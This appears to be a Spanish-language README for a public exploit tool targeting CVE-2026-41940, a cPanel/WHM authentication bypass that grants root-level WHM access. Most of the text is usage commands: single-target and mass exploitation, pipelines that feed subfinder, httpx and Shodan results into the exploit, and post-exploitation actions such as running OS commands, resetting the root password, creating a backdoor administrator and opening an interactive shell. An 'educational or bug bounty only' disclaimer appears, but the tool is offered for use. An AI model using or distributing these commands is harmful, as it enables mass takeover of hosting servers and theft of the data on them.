
Exploit para CVE-2026-41940, un bypass de autenticación no autenticado en cPanel/WHM que otorga acceso WHM a nivel de root mediante inyección de sesión CRLF, con comandos de post-explotación y shell interactiva.
⚠ Esta herramienta se crea únicamente con fines educativos o de bug bounty. El uso no autorizado fuera de entornos controlados está estrictamente prohibido.
Una herramienta para explotar CVE-2026-41940, una omisión crítica de autenticación en cPanel y WHM (CVSS 10.0), que permite a atacantes no autenticados obtener acceso root a nivel de WHM inyectando secuencias CRLF en archivos de sesión del lado del servidor a través de la cabecera Authorization, sin necesidad de credenciales.
CVE-2026-41940, en términos generales, se explota mediante una falla en la forma en que el sistema maneja las sesiones de autenticación en cPanel/WHM. El ataque normalmente comienza con una petición normal a la interfaz de inicio de sesión, donde la aplicación inicializa una sesión prematuramente antes de validar completamente las credenciales del usuario. Debido al manejo incorrecto de la entrada relacionada con la sesión, ciertas estructuras de entrada manipuladas o inesperadas pueden alterar la forma en que el servidor almacena o interpreta los datos de la sesión.
| Versión | Vulnerable | Parcheada |
|---|---|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
git clone https://github.com/pemarine/CVE-2026-41940-PoC
cd CVE-2026-41940-PoC
# Windows
python cve.py
# MacOS/Linux
python3 cve.py
La herramienta espera que se especifique un dominio objetivo.
Modo objetivo único:
python cve.py -u https://target1.com:2083
También puedes escanear desde el archivo target.txt (créalo):
python cve.py -l target.txt -t 50 -o result.json
Comandos disponibles:
python cve.py -u https://victim1.com:2083 # escaneo de objetivo único
python cve.py info -u https://victim1.com:2083 # Recupera información del sistema (versión, carga, uso de disco).
python cve.py host -u https://victim1.com:2083 # Recupera el nombre de host del servidor objetivo.
# Lista todas las cuentas del servidor
python cve.py list -u https://target.com:2087
# Comando del sistema operativo
python cve.py cmd -u https://target.com:2087 --cmd "id;whoami;uname -a"
python cve.py cmd -u https://target.com:2087 --cmd "ls /home"
# Obtener información del servidor (hostname, disco, host de MySQL)
python cve.py info -u https://target.com:2087
# Cambiar la contraseña de root
python cve.py passwd -u https://target.com:2087 --passwd 'NewPassword1423!!@'
# Shell interactivo de WHM
python cve.py shell -u https://target.com:2087
# subfinder → httpx → cPanelSniper
subfinder -d victim.com -silent | \
httpx -silent -ports 2085,2086 -threads 50 | \
python cve.py scan -t 40 -o results.json
# Desde lista de alcance
cat scope.txt | \
httpx -silent -ports 2085,2086 -threads 100 | \
python cve.py scan -t 30 -o results.json
# Resultados de Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | \
python cve.py -t 30 -o shodan_results.json
# Múltiples fuentes combinadas
{ subfinder -d victim.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 | \
python cve.py -t 20 --action list
Después de una ejecución exitosa, puedes abrir un shell interactivo de WHM:
python cve.py shell -u
usage: cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
[--action ACTION] [--passwd PASS] [--cmd CMD]
[--new-user USER] [--new-domain DOMAIN]
[-o OUTPUT]
Target:
-u, --url URL Single target URL (e.g. https://host:2087)
-l, --list LIST File with URLs (one per line)
--hostname HOSTNAME Override canonical Host header (auto-discovered)
Scan:
-t, --threads N Concurrent threads (default: 10)
--timeout N Request timeout seconds (default: 15)
--rate-limit N Delay between targets (default: 0)
--force Skip cPanel detection check
Post-Exploit:
--action ACTION Action: list | passwd | cmd | exec | info |
version | shell | adduser
--passwd PASS New root password (--action passwd)
--cmd CMD OS command (--action cmd/exec)
--new-user USER New cPanel username (--action adduser)
--new-domain DOMAIN New cPanel domain (--action adduser)
Output:
-o, --output FILE Save results to JSON file
--no-color Disable ANSI colors
⚠ Esta herramienta se crea únicamente con fines educativos o de bug bounty. El uso no autorizado fuera de entornos controlados está estrictamente prohibido.
| Comando | Descripción |
|---|
id | Mostrar ID de usuario |
hostname | Obtener el nombre de host del servidor |
accounts | Listar todas las cuentas de usuario |
info | Carga, disco, host de MySQL, versión |
cat <path> | Leer contenido de archivo |
exec <cmd> | Ejecutar comando del sistema operativo |
newadmin <user> <pass> | Crear administrador WHM de puerta trasera |
passwd <pass> | Cambiar la contraseña de root |
l [path] | Listar directorio |
help | Mostrar todos los comandos |
exit | Salir del modo shell |